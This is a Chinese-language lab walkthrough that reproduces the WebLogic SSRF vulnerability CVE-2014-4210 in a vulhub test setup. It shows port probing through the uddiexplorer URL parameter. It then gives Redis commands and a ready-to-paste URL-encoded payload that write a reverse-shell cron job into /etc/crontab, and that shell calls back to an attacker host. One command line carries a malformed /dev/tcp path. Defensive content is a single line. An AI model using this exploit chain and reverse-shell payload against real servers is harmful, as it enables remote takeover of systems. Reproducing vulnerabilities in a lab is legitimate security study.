CVE-2014-4210 Weblogic SSRF复现
0X00-引言
哥哥,且随我去梁山可好?
0X01-环境搭建
靶机:CentOS Linux 7
攻击机:windows server 2016 && Kail
环境:vulhub
项目地址:https://github.com/vulhub/vulhub
搭建vulhub请访问:空白centos7 64 搭建vulhub(详细)
0X02-漏洞描述
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
影响版本:weblogic 10.0.2 -- 10.3.6
可进行利用的cron有如下几个地方:
- /etc/crontab
- /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root centos系统下root用户的cron文件
- /var/spool/cron/crontabs/root debian系统下root用户的cron文件
0X03-漏洞复现
访问uddiexplorer应用
http://192.168.234.128:7001/uddiexplorer/
点击Search Public Registries页面,查看页面-发现有参数传入url-可能存在SSRF漏洞
抓包测试
原包
修改包-访问回环地址的7001端口-正常返回404
修改不存在的端口-端口不存在
返回值的差异看可以看出,我们可以通过此次链接对内网进行端口探测
这里我们是白盒测试-直接到靶机内查看容器的内网地址-同时也知道存在redis数据库
黑盒测试直接爆破url
docker inspect 容器ID
使用SSRF探测-回显说不存在有效的SOAP类-说明这个链接端口开放
由白盒测试可知-内网存在Redis服务器-写入脚本
发送Redis命令-将反弹shell的脚本写入目录/etc/crontab中,这个目录下面的命令都是定时自动执行的,这点很重要
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/192.168.234.135/1234 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
命令行 | 释义 |
---|---|
set 1 … | 将bash shell设置为变量“1”的value值,执行一个反弹shell,IP为Kali虚拟机IP |
set dir /etc/ | 创建一个工做目录 |
config set dbfilename crontab | 建立一个RDB备份文件,文件名crontab;全部的RDB文件都会储存在etc/crontab下 |
url编码之后-用换行符隔开(换行符是“\r\n”,也就是“%0D%0A”)
建议使用以下数据直接修改IP和PORT(自己编码可能会使payload出现问题导致写入不了redis或写入数据不完整)(以下数据开头结尾添加了test和aaa)
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.234.135%2F1234%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
进入docker容器内部查看crontab文件
docker exec -it Redis容器号 /bin/sh #进入容器
cat /etc/crontab #查看文件
如图则写入成功
稍等片刻即可反弹shell
0X04-工具检测
工具需要自己在GitHub上面找
0X05-漏洞防御
升级新版本
0X06-免责声明
仅供学习参考